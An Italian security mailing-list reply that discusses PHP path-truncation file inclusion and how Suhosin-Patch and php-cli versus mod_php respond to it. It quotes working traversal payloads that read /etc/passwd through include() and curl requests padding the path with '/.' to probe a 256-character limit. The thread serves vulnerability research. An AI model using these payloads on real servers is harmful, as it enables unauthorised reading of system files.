> Molto interessante! Se ho ben capito, peró, con la Suhosin-Patch attivata
> non funziona...

si hai ragione Gabriele,
anche se in realta oltre alla include ci sono altre funzioni che
andrebbero verificate,
ad esempio avevamo riscontrato che Suhosin stesso era vulnerabile sia
a //. che /.

http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/

>
> # php -v
> PHP 5.2.6-1+lenny8 with Suhosin-Patch 0.9.6.2 (cli) (built: Mar 14 2010
> 08:14:04)
> Copyright (c) 1997-2008 The PHP Group
> Zend Engine v2.2.0, Copyright (c) 1998-2008 Zend Technologies
>
> O meglio: mi funziona se lo lancio direttamente sul server:
>
> # php -r 'include("../../../../etc/passwd///[..snip..]///");' | head -n1
> root:x:0:0:root:/root:/bin/bash
>
> Ma se ci provo da browser mi da un'errore:
>
> Warning: include(../../../../etc/passwd///[..snip..]///
>
> Oppure sbaglio qualcosa?

no non sbagli;
per curiosità ho appena riverificato con versioni anche più recenti e
ho lo stesso tuo comportamento

php -v
PHP 5.3.2-1 with Suhosin-Patch (cli) (built: Mar 13 2010 22:18:25)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
    with Suhosin v0.9.31, Copyright (c) 2007-2010, by SektionEins GmbH


nelle prove che avevamo fatto ci siamo resi conto che i flussi di
esecuzione sono diversi in base a diversi fattori come per l'appunto
se si usa php-cli o mod_php come in questo o altri come ad esempio se
il path indicato comincia con una directory esistente o non esistente.

ora sembrerebbe che lato php o lato suhosin abbiano risolto per quel
che riguarda mod_php, lasciando invece vulnerabile php-cli;
sarebbe interessante indagare un pò e vedere che hanno combinato =)

adesso riverificando con "/." ho notato che:

curl -kis "http://127.0.0.1/?q=.././../../etc/passwd`perl -e "print '/.'x245"`"

funziona, mentre:

curl -kis "http://127.0.0.1/?q=.././../../etc/passwd`perl -e "print '/.'x246"`"

non funziona più ; quindi devono avere usato la solita costante
MAXPATHLEN di 256 caratteri per introdurre qualche controllo ulteriore
magari per aggirare temporaneamnete i molti problemi di truncation
presenti nel codice.

ciao,

Giovanni `evilaliv3` Pellerano
________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List

Rispondere a